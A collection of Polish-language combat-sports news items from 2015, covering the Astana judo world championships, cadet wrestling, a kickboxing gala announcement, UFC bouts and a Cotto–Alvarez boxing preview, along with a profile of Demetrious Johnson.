Kaori Matsumoto sięgnęła po mistrzowski tytuł w 2010 roku. Japonka musiała czekać pięć lat, aby powtórzyć sukces. W finale spotkała się z doskonale sobie znaną Rumunką Coriną Caprioriu, z którą rywalizowała o złoto igrzysk olimpijskich w Londynie. Po raz kolejny Matsumoto udowodniła swoją wyższość. Zawodniczka z Kraju Kwitnącej Wiśni wygrała z Rumunką przez waza-ari. W finale panów spotkali się dwaj Japończycy – Shohei Ono i Riki Nakaya. Obaj zawodnicy doskonale znają smak triumfu na mistrzostwach świata, jednak tylko jeden z nich mógł dołożyć kolejne trofeum do swojej kolekcji. Lepszy okazał się Ono, który wygrał przez waza-ari i wywalczył złoto po dwóch latach. Ostatnio triumfował w 2013 roku, Nakaya zaś w 2014. W obu przypadkach czołówka została zdominowana przez zawodników z Azji z jednym wyjątkiem. Trzecia w kategorii 57kg była Automne Pavia z Francji.

 

KM

Gala Kickboxingu Zawodowego K-1 Rules IMBIRIADA FIGHTERS NIGHT 5

W imieniu organizatorów mamy przyjemność poinformować Państwa o kolejnej edycji Gali Kickboxingu Zawodowego K1 Rules „IMBIRIADA FIGHTERS NIGHT 5”, która odbędzie się 7 listopada 2015 r. w kompleksie BLUE DIAMOND Hotel Active SPA **** w Rzeszowie.

Gala z udziałem czołowych kickboxerów jest kontynuacją prestiżowego widowiska „FIGHTERS NIGHT”, które wpisało się już na stałe w kalendarz profesjonalnych imprez pod patronatem Polskiego Związku Kickboxingu oraz ogólnopolskich imprez sportów walki. Na rzeszowskiej arenie wystąpią doświadczeni, utalentowani zawodnicy, którzy nie kalkulują w ringu, tylko idą na prawdziwą wojnę, tworząc wyjątkowo ekscytujące widowisko między linami. Warto im wiernie kibicować. Podczas tej międzynarodowej imprezy będzie można podziwiać kunszt  Mistrzów Polski, Europy i Świata. Federacja krajowa potwierdziła rywalizację o pasy mistrzowskie: Międzynarodowego Mistrza Polski oraz Zawodowego Mistrza Polski. O bardzo wysokim poziomie gali świadczą nazwiska, które znajdą się w karcie walk. W trakcie imprezy zobaczymy walki z udziałem mistrzów z Polski, Turcji, Ukrainy i Słowacji. Promotorzy gali są w trakcie negocjacji z  zawodnikami z takich krajów jak: Portugalia, Białoruś, Włochy, Serbia, Litwa, Czechy i Węgry. W karcie walk zobaczymy łącznie osiem walk, z czego aż sześć z nich będzie walkami międzynarodowymi. W sobotni, jesienny wieczór na ringu wystąpią znani i  bardzo utalentowani kickboxerzy, a publiczności z pewnością nie zabraknie szalonych emocji na najwyższym poziomie sportowym.

Szczegóły dotyczące wydarzenia oraz adresy punktów sprzedaży biletów podamy Państwu wkrótce.

SERDECZNIE ZAPRASZAMY!

www.fightersnight.pl

[kod]

Źródło: materiały prasowe

Kamiński z medalem

W Sarajewie trwają mistrzostwa świata kadetów w zapasach. Na początek zaprezentowali się panowie w stylu klasycznym.

Patryk Kamiński zdobył brązowy medal w kategorii 100kg w stylu klasycznym. Inni nasi zawodnicy odpadali przeważnie w pierwszych walkach. Na swoje występy czekają jeszcze kobiety i zapaśnicy w stylu wolnym.

Brązowy klasyk

W ubiegłym roku zapaśnik Cementu Gryfa Chełm okazał się najlepszy podczas 42. edycji prestiżowego memoriału im. Władysława Miazio. Teraz Kamiński odniósł kolejny sukces. Każdy zawodnik stopniowo buduje swoją pozycję. Na własnym podwórku zdobywa doświadczenie i pewność siebie, a potem idzie w świat. Kamiński jest najlepszym tego przykładem. Brązowy medal zdobyty w Sarajewie to kolejny krok w jego karierze, który pokazuje, że zapaśnik z Chełma ma potencjał. Teraz konieczne jest dalsze prawidłowe prowadzenie go, aby w przypadku seniorskich startów mógł wykorzystać w pełni swoje możliwości.

W kategorii 100kg wystartowało dwudziestu dwóch zapaśników. Kamiński zmagania w Sarajewie rozpoczął od rywalizacji z Royotą Kubo. Polak okazał się lepszy od Japończyka i wygrał przez przewagę techniczną 4:0 (8:0). W ćwierćfinale Kamiński udowodnił swoją wyższość nad Azerem Jamalem Feyziyevem, z którym nie miał większych problemów. Polski zapaśnik awansował tym samym do półfinału, a więc medal był praktycznie na wyciągnięcie ręki. Amin Mirzazadeh postawił trudne warunki polskiemu zawodnikowi. Walka był zacięta i wyrównana, jednak rozstrzygnęła się na korzyść reprezentanta Iranu. Warto nadmienić, że Mirzazadeh triumfował w kategorii 100kg. Z kolei Kamińskiego czekała walka o brąz. Valeri Ivanov musiał uznać wyższość Polaka, który może cieszyć się z trzeciego miejsca.

Kolejny medal blisko

Podczas pierwszego dnia zmagań wyróżnił się tylko Kamiński. Reszta naszych zawodników odpadała już po pierwszej walce. Wyjątkiem okazał się Michał Twardowski w kategorii 50kg, który stoczył dwa pojedynki. W obu przypadkach polski zapaśnik musiał pogodzić się z porażką. Na początek Twardowski przegrał z Rosjaninem Eminem Sefershaevem i potem trafił do repasaży, jednak tam nie znalazł recepty na Sebastiana Kolompara.

Drugi dzień rywalizacji w stylu klasycznym rozpoczął się od porażek dwóch Polaków. W kategorii 76kg Piotr Duk musiał uznać wyższość Nicu Samuela Ojoga. Z kolei w 85kg Gerard Kurniczak przegrał z Arturem Sargsianem.

Jak burza idzie Norbert Daszkiewicz w kategorii 69kg, który na początek wyeliminował z rywalizacji Elsaida Clisada. Kolejnym rywalem Polaka był Tchikaidze Nikooloz z Gruzji. Daszkiewicz wyszedł zwycięsko z tego starcia. Polak jest już w finale, gdzie o złoto będzie walczył z Aleksandrem Komarowem.

Rywalizacja w Sarajewie potrwa do niedzieli. Kolejne dwa dni będą należały do pań. Na koniec zaprezentują się panowie w stylu wolnym. Do Sarajewa udało się dwudziestu trzech polskich zapaśników.

KM

Szybkie pożegnanie z Astaną

Drugi dzień mistrzostw świata w judo nie rozpoczął się dla nas dobrze. Arleta Podolak i Damian Szwarnowiecki szybko pożegnali się z rywalizacją.

Jak na razie wygrywają tylko panie, jednak bez efektu. Zarówno Karolina Pieńkowska (52kg) jak i Arleta Podolak (57kg) odpadły w 1/32 turnieju. Aleksander Beta pożegnał się z mistrzostwami już po pierwszej walce.

Marne pocieszenie

Każde zwycięstwo odniesione na turnieju rangi mistrzowskiej ma swoją wartość, jednak każdy chce pokonywać kolejne szczeble. Judocy z Polski nadal czekają na medal mistrzostw świata i przejście przez eliminacje.

Mistrzyni świata juniorek z 2013 roku Arleta Podolak mogła uśmiechnąć się po pierwszej walce. Na początek pokonała przez yuko Jeanette Rodriguez. W 1/32 turnieju Polka trafiła na Loredanę Ohai. Rywalizację z Rumunką Polka rozpoczęła bardzo dobrze, co dawało nadzieję na zwycięstwo. Podolak przeprowadziła błyskawiczną i skuteczną akcję. Polce przyznano yuko, jednak później pojawiły się błędy. Podolak otrzymała trzy kary shido za nieczyste zagrania. Z kolei Ohai zmobilizowała się i przystąpiła do ataku. Efektem tego były dwie akacje zakończone przez yuko. Podolak musiała pogodzić się z porażką.

Rywalem Damiana Szwarnowieckiego w kategorii 73kg był Jaromir Jezek. Czech najlepsze czasy ma już raczej za sobą. W przeszłości zdobywał medale mistrzostw Europy, ale jego obecna dyspozycja jest przeciętna. Początek starcia był wyrównany, jednak z czasem do głosu doszedł Jezek. Czech niemalże perfekcyjnie wykonał tomoe nage i otrzymał yuko. Szwarnowiecki starał się atakować swojego rywala i przeprowadzić skuteczną akcję, ale jego działania nie przyniosły efektu. Czech dobrze się bronił, a przy tym nie pozostawał bierny. Kolejna akcja i yuko. Szwarnowiecki odpadł z mistrzostw świata.

Nakamura razy trzy

Misato Nakamura wraca na szczyt. Judoczka z Kraju Kwitnącej Wiśni po raz ostatni tytuł mistrzowski wywalczyła w 2011 roku. W Astanie na Japonkę nie było mocnych. Andrea Chitu nie była w stanie powstrzymać Nakamury, a dodatkowo popełniała błędy. Pojedynek nie zakończył się w efektowny sposób. Nakamura wygrała na kary shido. Na podium stanęły również Erika Miranda z Brazylii i Daria Skripnik z Białorusi.

W kategorii 66kg u panów triumfował An Baul. Do rozstrzygnięcia finału potrzebna była dogrywka. An Baul rywalizował z Rosjaninem Michaiłem Puliajewem. W regulaminowym czasie obaj otrzymali po trzy kary shido i o wszystkim musiała decydować dogrywka. Na konto Puliajewa zapisano kolejną karę, co było równoznaczne z dyskwalifikacją. Trzecie miejsce zajął Riszob Sobirow z Uzbeskistanu, który ma na swoim koncie dwa złote medale mistrzostw świata, tyle, że w kategorii 60kg. Brąz zdobył także Golan Pollack.

Warto zwrócić uwagę, że do tej pory wszystkie finały rozstrzygały się na kary shido.

KM

 

MŚ w judo – transmisje w FightKlubie

MŚ w judo: Polacy z szansami na medale w Astanie

Katarzyna Kłys (-70 kg) i Maciej Sarnacki (+100 kg) oraz Agata Ozdoba (-63
kg) i Daria Pogorzelec (-78 kg) – to najmocniejsze punkty reprezentacji
Polski na MŚ w judo, które w najbliższy poniedziałek rozpoczną się w
Astanie. Relacja na żywo z całego tygodniowego turnieju w TV FightKlub.

W rankingu światowym Katarzyna Kłys zajmuje 11 miejsce, Daria Pogorzelec
jest 14, Maciej Sarnacki 15, a Agata Ozdoba 21. Już tak dawno tak wielu
Biało-Czerwonych nie było na tak wysokich lokatach na liście federacji IJF.
Dodatkowo w poszczególnych wagach nie wystąpią wszyscy zagraniczni
rywale, np. z powodu kontuzji zabraknie utytułowanego Brazylijczyka Rafaela
Silvy, jednego z głównych przeciwników Macieja Sarnackiego.

W wadze ciężkiej zdecydowanym faworytem jest Francuz Teddy Riner,
którego celem jest 8 tytuł Mistrza Świata. Od 4 lat nie przegrał on
żadnej walki i chce tę passę podtrzymać w Kazachstanie. Miejmy nadzieję, że
skuteczny opór postawi mu zwycięzca tegorocznego Pucharu Świata w
Warszawie, olsztyński policjant Maciej Sarnacki.

MŚ w Astanie to niezwykła gratka dla kibiców, ale też dla wszystkich
zawodników. Przez 7 dni pokażemy ponad 40 godzin zmagań na tatami.
Będzie okazja zobaczyć rozmaite style walki, podpatrzeć najlepszych
judoków i judoczki. Bardzo silne składy przysyłają jak zwykle
reprezentacje Japonii i Korei Płd., a także Rosji, Gruzji, Mongolii czy
Francji.

Oficjalne składy będą znane przed niedzielnym losowaniem, ale już teraz
wiadomo, że znakomity mongolski judoka Tsaaganbaatar Khashbaatar,
który przez ostatnich kilka lat startował w wadze -73 kg, w Astanie
powalczy w wadze -66 kg. Sześć lat temu zdobył w niej złoto MŚ w
Rotterdamie.

Na wielkie sukcesy liczą Niemcy, zwłaszcza, że mają najwięcej swych
reprezentantów w czołowej 10 rankingu światowego – aż 11. W tym
gronie jest urodzona w Bełchatowie mistrzyni Europy Martyna Trajdos -63 kg.
Słynny niemiecki judoka Ole Bischof (mistrz olimpijski z Pekinu i wicemistrz
z Londynu), który już zakończył karierę, twierdzi, że największe
szanse na złoto ma Dimitri Peters -100 kg.

Pierwsze relacje z MŚ w Astanie w poniedziałek o g. 7:00. W bloku porannym
pokażemy wszystkie walki eliminacyjne. Jedynie niedzielne (30.08) zawody
drużynowe rozpoczną się o g. 6:00. Początek decydujących pojedynków
codziennie od g. 13:00.

W puli nagród turnieju indywidualnego jest 300 tysięcy
dolarów – za 1 miejsce 9 tysięcy (zawodnik 7200 i trener 1800), za 2
miejsce – 6000 (4800 i 1200), za 3 miejsce – 3000 (2400 i 600). W zawodach
zespołowych do podziału jest 200 tysięcy dolarów – za 1 miejsce 50
tysięcy (zawodnicy 40000 i trenerzy 10000), za 2 miejsce – 30000 (24000 i
6000), za 3 miejsce – 10000 (8000 i 2000).

Mistrzostwa Świata zaliczane są do kwalifikacji olimpijskich. Do zdobycia
za złoty medal jest aż 900 punktów rankingowych, za srebro 540, za
brąz 360. Dla porównania zwycięzca Mistrzostw Europy otrzymuje 400
pkt. W praktyce oznacza to, że medaliści z Astany zapewnią sobie start w
przyszłorocznych igrzyskach w Rio de Janeiro.

Źródło: materiały prasowe

MŚ: Nieudany początek

Mistrzostwa świata w judo w Astanie już wystartowały. Pierwsze doniesienia na temat występów Polaków nie są jednak optymistyczne.

Do tej pory na tatami w Kazachstanie zaprezentowało się dwoje biało-czerwonych. Karolina Pieńkowska w kategorii 52kg i Aleksander Beta w 66kg odpadli w walkach eliminacyjnych.

Węgier nie był bratem

Karolina Pieńkowska start w Astanie rozpoczęła dobrze. Pojedynek z Djazią Haddad rozstrzygnął się na korzyść Polki, choć walka była wyrównana i niezwykle zacięta. Zawodniczka z Algierii do końca wierzyła w zwycięstwo, jednak przegrała przez yuko. Pieńkowskiej dopisało trochę szczęścia, które jednak w sporcie jest potrzebne. W kolejnej walce los nie sprzyjał Polce. Judoczka AZS UW Warszawa w 1/16 finału trafiła na Gili Cohen. Również w tym pojedynku trudno szukać efektywnego rozstrzygnięcia, które jednoznacznie dawałoby odpowiedź na pytanie, która zawodniczka jest lepsza. Cohen wygrała przez yuko i tym samym Pieńkowska zakończyła swój udział mistrzostwach świata.

Tylko jeden pojedynek w Astanie stoczył Aleksander Beta. Powszechnie mówi się, że „Polak Węgier dwa bratanki”, ale gdy dochodzi do rywalizacji na gruncie sportowym nie ma mowy o przyjaźni. Bence Zambori okazał się rywalem niewygodnym i bardzo sprawnym. Węgier był aktywny i w końcu znalazł sposób na Polaka. Zambori wygrał przez trzymanie.

W kategorii 66kg, w której startował Beta nie brakuje niespodzianek. Z rywalizacją pożegnał się już trzykrotny mistrz świata Masashi Ebinuma, który nie obroni tym samym tytułu zdobytego przed rokiem. Start w Astanie zakończył się również niepowodzeniem mistrza Europy Kamala Chan-Magomedowa i byłego mistrza świata Heorhija Zantaraja.

Pierwsze rozstrzygnięcia

Rywalizacja trwa w najlepsze, ale pierwsze medale zostały już rozdane. Zakończyły się zmagania w kategorii 48kg (panie) i 60kg (panowie). Gospodarze mają już dwa medale.

Tytuł mistrzyni świata wywalczyła Paula Pareto z Argentyny. Judoczka już w Czelabińsku była o krok od złota, ale wtedy na jej drodze stanęła Ami Kondo. Tym razem na Pareto nie było mocnych. W finale spotkała się z reprezentantką Japonii Haruną Asami. Argentynka wygrała na kary shido 1:2. Brązowe medale przypadły Ami Kondo i Jeong Bo Kyeong.

Cieszy się Kazachstan, który na złoty medal mistrzostw świata czekał od 2009 roku. Wtedy najlepszy na światowym czempionacie okazał się Maksim Rakow w kategorii 100kg. Po sześciu latach po złoto sięgnął Jeldos Smetow w 60kg. Już przed finałem wiadomo było, że spełnią się marzenia fanów judo w Kazachstanie. W decydującym pojedynku spotkało się dwóch zawodników z tego kraju. Smetow jedną karą shido okazał się lepszy od Rustana Ibramowa. Brązowe medale dla zawodników z Azji: Japończyka Toru Shishime i Koreańczyka Kim Won Jin.

 

KM

Fabiński zawita do Monterrey

Bartosz Fabiński stoczy kolejny pojedynek w UFC. Polski fighter wystąpi w listopadzie na gali w Monterrey, gdzie jego rywalem będzie Hector Urbina.

Dla Fabińskiego będzie to drugi pojedynek w UFC. Polak w najlepszej organizacji mieszanych sztuk walki na świecie debiutował podczas gali w Krakowie. Wyższość zawodnika z Warszawy musiał uznać Garreth McLellan.

Stanie przed wyzwaniem

Trudno znaleźć lepsze określenie. Fabiński będzie walczył z uznanym rywalem, który swoją pozycję w świecie MMA buduje od 2006 roku. Urbina będzie faworytem publiczności w Monterrey. Amerykanin latynoskiego pochodzenia z pewnością poczuje się jak u siebie w domu. Jedno jest pewne – Fabiński tanio skóry nie sprzeda.

Polak trafił do UFC trochę przez przypadek. Kontuzja wyeliminowała z udziału w gali w Krakowie Krzysztofa Jotkę. Wtedy na jego miejsce wskoczył Fabiński, który radził sobie coraz lepiej i pokonywał rywali podczas zagranicznych wojaży. Na swoje nazwisko zawodnik pracował w PLMMA, gdzie odprawił Antoniego Chmielewskiego i Michała Szulińskiego. Jego kariera potoczyła się błyskawicznie. W 2014 roku Fabiński stoczył pięć pojedynków, z których tylko w jednym musiał uznać wyższość rywala. Z kolei już rok później stanął w oktagonie UFC.

Wygrana z McLellanem to dobry prognostyk, ale tak naprawdę dopiero teraz przyjdzie pora na prawdziwy sprawdzian. Dla Urbiny start na gali w Monterrey będzie drugim występem w UFC. W swoim debiucie Amerykanin w trzy i pół minuty rozprawił się z Edgarem Garcią stosując gilotynę. Właśnie to jest broń Hectora Urbiny. To fighter, który nie ma litości dla swoich rywali. Aż czternaście z siedemnastu wygranych pojedynków Amerykanin skończył przed czasem. W ponad połowie przypadków rywale musieli wstawać z ziemi po ciężkich nokautach. Zatem Fabiński musi być uważny i wytrzymały na ekwilibrystyczne sztuczki Urbiny.

Warto przypomnieć, że 21 listopada w Monterrey zaprezentuje się również inny zawodnik z Polski. Damian Stasiak zmierzy się z Erikiem Perezem. 25-latek, który swoje pierwsze kroki w sztukach walki stawiał w karate, do tej pory zaprezentował się w UFC raz. W Krakowie poległ w starciu z Yaotzinem Mezą.

Holloway górą

Wydarzenie w Meksyku przed nami, a ostatnia noc to gala UFC Fight Night 74, która miała pokazać, kto jest bliżej walki o pas wagi piórkowej. Siódme zwycięstwo z rzędu odniósł Max Holloway. Pigułkę porażki, a także bólu musiał przełknąć Charlesa Oliveirę. 25-latek z Brazylii nie był w stanie kontynuować pojedynku po kontuzji obojczyka. Oliveira już w pierwszej rundzie upadł na matę i na jego twarz pojawił się grymas bólu. Pojedynek zakończył się po niespełna dwóch minutach.

Już w pierwszej rundzie walkę zakończył Francisco Trinaldo, który uderzeniami rozbił Chada Laprise'a. Niespełna minuty potrzebował do zwycięstwa Frankie Perez. 26-letni Amerykanin znokautował Sama Stouta.

 

KM

Demetrious Johnson

Amerykański zawodnik MMA i zapasów urodzony 13 sierpnia 1986 roku w Madisonville. Johnson początkowo uprawiał kolarstwo górskie, zapasy oraz baseball. Ostatecznie zainteresował się MMA i w 2007 roku w swoim debiucie znokautował swojego rywala w niespełna 45 sekund. Kolejne lata to walki na lokalnych galach AX Fighting Championship oraz King of the Cage z czego wszystkie wygrane. W styczniu 2010 roku udał się na Alaskę by stoczyć pojedynek z Jesse Brockiem, którego błyskawicznie znokautował wysokim kopnięciem.  Niepokonany od swojego debiutu w 2007 roku Johnson w 2010 roku związał się z World Extreme Cagefighting.  W swoim debiucie w WEC przegrał z utytułowanym Anglikiem Bradem Pickettem.  30 września tego samego roku Johnson pokonał Nicka Pace’a, wygrywając z nim na punkty. Na kolejną walkę nie musiał długo czekać i 41 dni później stoczył pojedynek z Damacio Page, który wygrał przed czasem przez poddanie. Będąc pod kontraktem WEC, 28 października 2010 roku, prezydent UFC poinformował że WEC zostanie połączone z UFC, a zawodnicy kategorii koguciej, piórkowej i lekkiej zasilą szeregi UFC. Pierwszy jego pojedynek dla UFC został zaplanowany na 5 stycznia, gdzie jego rywalem była Japońska gwiazda MMA Norifu Yamamoto. Amerykanin zdominował rywala i wygrał z nim pewnie na punkty. Będąc po trzech wygranych pojedynkach matchmaker UFC Joe Silva zestawił go z Brazylijczykiem Renan Barao, ale ostatecznie nie doszło do ich pojedynku i nowym rywalem Amerykanina został Miguel Torres. Johnoson pokonał Torresa i dostał możliwość walki o pas mistrzowski w wadze koguciej z mistrzem Dominickiem Cruzem.  Do walki doszło 1 października na gali UFC Live. Johnoson przegrał pojedynek jednogłośnie na punkty.  W 2012 roku Dana White ogłosił wprowadzenie nowej kategorii wagowej w UFC jaką była waga musza. Mając do wyboru pozostanie w kategorii koguciej lub zejść wagę niżej i zasilić nową decyzję, wybrał tę drugą opcje i został włączony do turnieju, który miał wyłonić pierwszego w historii mistrza wagi muszej. Oprócz Johnsona do turnieju zostali dodani Joseph Benavidez, Yasuhiro Urushitani oraz Ian McCall, ten ostatani został rywalem Johnsona w półfinale. Na gali UFC on FX: Alves vs. Kampmann doszło do eliminatora między Johnsonem a McCallem. Johnson w ciągu całego pojedynku był minimalnie gorszym zawodnikiem, jednak sędziowie przyznali jemu zwycięstwo.  Spotkało się to z falą krytyki i protestami sztabu McCalla. Na konferencji prasowej po gali, Dana White poinformował o błędzie sędziego liczącego punkty i zmienił wynik walki na większościowy remis. Od razu został ogłoszony termin rewanżu na 8 czerwca. W tym pojedynku przeważał już Johnson, który wygrał pojedynek. Walka mistrzowska miała miejsce 22 września w Toronto na UFC 152.  Johnson okazał się lepszym i szybszym zawodnikiem i to on został pierwszym mistrzem wagi muszej w UFC. Na swoją obronę tytułu nie długo czekać, i na początku 2013 roku zmierzył się z Johnem Dodsonem.  Po raz kolejny lepszym zawodnikiem okazał się Demetrious Johnson, który wygrał na punkty. 27 lipca doszło do drugiej obrony mistrzowskiego pasa. Rywalem mistrza był John Moraga. Johnson całkowicie zdominował pretendenta. W piątej rundzie Demetrious próbował założyć klucz na rękę rywalowi, by chwile później przejść do bardzo ciasno zapiętej dźwigni prostej na łokieć co zmusiło sędziego do przerwania pojedynku. W grudniu tego samego roku Johnson pokonał przez KO w pierwszej rundzie Josepha Benavideza.  W czerwcu 2014 roku pokonał Aliego Bagautinova przez decyzję sędziowską. W tym samym roku pokonał także Chrisa Cariaso przez poddanie. 25 kwietnia 2015 na gali UFC 186 Johnson poddał Kyoji Horiguchi w piątej rundzie pojedynku.

Górale pokazali charakter

Gala Battle of Warriors w Rabce Zdroju była rywalizacją górali z resztą Polski. Charakter, upór, ambicja i zawziętość wzięły górę. Górale wygrali 5:2.

Amfiteatr, który stał się areną zmagań fighterów wypełnił się po brzegi. Na imprezie gościli szkoleniowcy kadr K-1 i low kick Tomasz Mamulski oraz Witold Kostka, wiceprezes PZKB Gerard Zdziarski czy też uznany kickbokser Tomasz Sarara.

Decydowali sędziowie

W większości przypadków rozstrzygnięcie walk przypadło arbitrom. Jako pierwsi na ring weszli Bartłomiej Kuźniar z NKSW oraz Mateusz Michalik z Halnego Nowy Sącz, którzy rywalizowali w kategorii 63,5kg. Walka szybka, z dużą ilością ciosów oraz kopnięć. Najwięcej emocji dostarczyła trzecia runda, w której Kuźniar i Michalik zdecydowanie podkręcili tempo i chcieli zaznaczyć swoją wyższość. Obaj byli liczeni przez arbitra ringowego, jednak nie poddali się. Ostatecznie sędziowie jako zwycięzcę wskazali Kuźniara. W kategorii 81kg Maciej Kiełbasa okazał się lepszy od Marcina Malickiego.

Trzecia walka gali zakończyła się przed czasem. W kategorii 75kg pojedynek stoczyli Krzysztof Hornik z NKSW oraz Kamil Stolarczyk z Gracie Barra Chorzów. Przed pojedynkiem wydawało się, że najbardziej prawdopodobny scenariusz to rozstrzygnięcie werdyktem sędziów. Jednak przewidywania są tylko przewidywaniami. Już na początku walki Hornik potraktował swojego przeciwnika potężnym lewym sierpowym. Stolarczyk padł, jednak miał siłę wstać, ale sędzia uznał, że nie jest zdolny do kontynuowania rywalizacji. W Rabce Zdroju doszło do pojedynku z udziałem pań. Na zasadach Pro Am w kategorii 52kg zmierzyły się Beata Zięba z NKSW i Paulina Nieć z Fight House 27. Od początku obie zawodniczki ruszyły na siebie. Przewagę zyskała Nieć, która zasypała swoją rywalkę gradem ciosów i to dało jej zwycięstwo.

W kategorii 75kg doszło do pojedynku Bartłomieja Domalika z Jarosz Fight Club z Bartoszem Frycem reprezentującym barwy OKK Oświęcim. Obaj mieli inny pomysł na walkę. Domalik atakował niskimi kopnięciami i był wyważony, z kolei Fryc starał się używać kolan. Sędziowie przyznali zwycięstwo zawodnikowi z Oświęcimia. Filip Bienias z NKSW spotkał się z Marcinem Stopką z Fight House 27 w kategorii 71kg. Pojedynek zakończył się już w pierwszej odsłonie. Bienias rozciął łuk brwiowy rywala i lekarz zarządził przerwanie walki.

Pas Kocaja

Głównym wydarzeniem wieczoru była rywalizacja Patryka Kocaja  z Jarosz Fight Club z Kacprem Urbańczykiem z OKK Oświęcim. Od początku w ringu działo się. Kocaj ruszył na rywala niesiony dopingiem, ale szybko nadział się na lewy sierpowy. Zawodnik Jarosz Fight Club był liczony, ale wstał i kontynuował walkę. Urbańczyk starał się walczyć na dystans i czekał na swoją szansę. W trzeciej rundzie Kocaj w sposób niedozwolony zaatakował swojego rywala, za co odebrano mu punkty. Decyzja sędziów była jednoznaczna – wygrana przypadła zawodnikowi Jarosz Fight Club, który zarazem stał się posiadaczem pasa Battle of Warriors.

KM

Nadchodzi walka roku?

Dla wielu pojedynek roku odbył się w maju. Oczywiście chodzi o starcie Floyda Mayweathera Jr z Manny Pacquiao. Okazuje się, że niekoniecznie i prawdziwe emocje mogą dopiero nadejść.

O jaki pojedynek chodzi? Arcyciekawie zapowiada się starcie Miguela Cotto z Saulem Alvarezem. Dwaj mocni pięściarze, którzy znają smak wygrywania i dzierżenia mistrzowskich pasów w swoich dłoniach staną naprzeciw siebie 21 listopada.

Duża kasa, duża szansa

Cotto jest o dziewięć lat starszy od Alvareza i niejedno już w życiu widział. Czy na pewno? Meksykanin mimo młodego wieku ma już na swoim koncie czterdzieści sześć walk, czyli o dwie więcej niż Cotto. Dodatkowo Alvarez przegrał tylko raz, a Portorykańczyk zanotował cztery przegrane. W tym przypadku jest wspólny mianownik –obaj przegrywali z Floydem Mayweatherem Jr.

Portorykańczyk przez czternaście lat zawodowej kariery posłał na deski wielu rywali. Wygrywał z Antonio Margarito, Rocky Martinezem, Zabem Judahem, Shanem Mosleyem, a ostatnio pokonał Daniela Geale’a. Trzy lata pozostaje niepokonany. W 2012 roku Austin Trout znalazł receptę na Cotto. 34-latek jest posiadaczem pasa WBC w wadze średniej, który będzie stawką pojedynku z Alvarezem. Obaj wejdą do ringu 21 listopada w Mandalay Bay Hotel & Casino w Las Vegas.

Popularny „Canelo” jest młodszy, ale szedł jak burza dopóki nie zatrzymał go Mayweather. Po porażce we wrześniu 2013 roku z Amerykaninem stoczył trzy pojedynki, w których triumfował i znowu stał się jednym z czołowych pięściarzy wagi średniej. W tym roku walczył raz, ale zaprezentował niezwykłą siłę. Alvarez w maju nie miał litości dla Jamesa Kirklanda, którego już w trzeciej rundzie posłał na deski.

Mówi się, że ta rywalizacja jest opłacalna dla obu pięściarzy. Wiadomo, że nie można mówić o takich pieniądzach jakie towarzyszyły pojedynkowi Mayweathera z Pacquiao, ale stawki są wysokie. Cotto ma zgarnąć trzydzieści milionów dolarów, Alvarez o około dwadzieścia mniej.

Cotto faworytem?

Obaj są na rożnych etapach swoich karier. Cotto zna smak sukcesu i ma wyrobione nazwisko, z kolei Alvarez cały czas może zdobywać kolejne laury. W listopadzie okaże się, czy czas Portorykańczyka na zawodowym ringu dobiega końca.

Freddie Roach mocno wierzy w Cotto. Szkoleniowiec chce jak najlepiej przygotować 34-letniego boksera do rywalizacji z „Canelo”. – Plan dla Miguela jest już przygotowany. Cotto jest teraz w formie i powtórzy drogę, którą kroczył przed ostatnim pojedynkiem. Zadaje więcej ciosów niż "Canelo". Nasz plan jest doskonały. Moim zdaniem będzie to wspaniały pojedynek, który zasłuży na miano walki roku – mówi Roach. I dodaje: – Walka Mayweather vs Pacquiao była inna. Teraz Miguel i Alvarez wejdą do ringu, aby walczyć. Wszyscy kibice będą zadowoleni z tej walki.

Fot. zdjęcie poglądowe

KM

Jędrzejczyk ponownie z Gadelhą

Brazylijka zabiegała o możliwość stoczenia walki z polską mistrzynią najlepszej organizacji mieszanych sztuk walki na świecie w wadze słomkowej. Pojedynek Claudii Gadelhy z Joanną Jędrzejczyk odbędzie się podczas gali UFC 195.

Polka nadal pozostaje niepokonana i robi ustawiczne postępy. Krok po kroku staje się coraz bardziej rozpoznawalną postacią mieszanych sztuk walki. Jej postawa w oktagonie budzi entuzjazm, gdyż w dwóch ostatnich walkach zaprezentowała się niezwykle efektownie.

Która wygrała?

Wątpliwości było wiele. Joanna Jędrzejczyk spotkała się z Claudią Gadelhą podczas gali UFC on Fox 13 w grudniu 2014 roku. Pojedynek trwał trzy rundy. Początek starcia przebiegał pod dyktando Brazylijki, która wykorzystywała swoją przewagę w parterze. Wydawało się, że Polce będzie trudno przeciwstawić się naporowi Gadelhy, jednak w drugiej rundzie zawodniczka z Olsztyna pokazała siłę. Jędrzejczyk celnie punktowała swoją rywalkę w stójce. 26-latka z Mossoro nie pozostawała dłużna. Obie fighterki stworzyły ciekawe widowisko, w którym dominowała przede wszystkim walka. Nie było kalkulacji. Gadelha miała świadomość, że dominuje w parterze i za wszelką cenę chciała sprowadzić walkę na ziemię, jednak Jędrzejczyk skutecznie się broniła. Trzy rundy nie wyłoniły zwyciężczyni. Obserwatorzy zerkali jeden na drugiego pytając się wzrokiem: która z nich była lepsza. Sędziowie stanęli przed trudnym wyborem.

Ostatecznie wygrana przypadła Jędrzejczyk, czym wielu obserwatorów było zdziwionych. Zaskoczenia nie kryła Gadelha, która była faworytką starcia. Polka zaimponowała wolą walki i odwagą w rywalizacji z wyżej notowaną rywalką. Brazylijka nie zamierzała się poddać i od początku zabiegała o pojedynek rewanżowy. Gadelha będzie miała okazję po raz kolejny spotkać się z polską fighterką. Tyle, że Jędrzejczyk posiada pas mistrzowski UFC i jest pewna siebie, a także zna własną wartość. Podczas pierwszego starcia z Gadelhą tak naprawdę aklimatyzowała się w amerykańskiej organizacji. Teraz jest czołową postacią UFC.

Razem z Rondą

Gadelha po porażce z Jędrzejczyk stoczyła tylko jeden pojedynek. Podczas gali UFC 190 pokonała po trzech rundach Jessicę Aguilar. Teraz po raz kolejny czeka na Jędrzejczyk, która jako jedyna do tej pory znalazła sposób na Brazylijkę.

Gadelha szła jak burza w UFC i liczyła, że to jej przypadnie tytuł mistrzyni wagi słomkowej. Jej plany zepsuła Jędrzejczyk, dlatego 26-latka jak niczego innego pragnie zrewanżować się Polce. Z kolei 28-latka z Olsztyna po rywalizacji z Gadelhą wygrała dwie walki, wywalczyła mistrzostwo UFC. Co ciekawe, w obu przypadkach Polka kończyła swoje pojedynki przed czasem. Obserwatorzy byli zachwyceni stylem Jędrzejczyk.

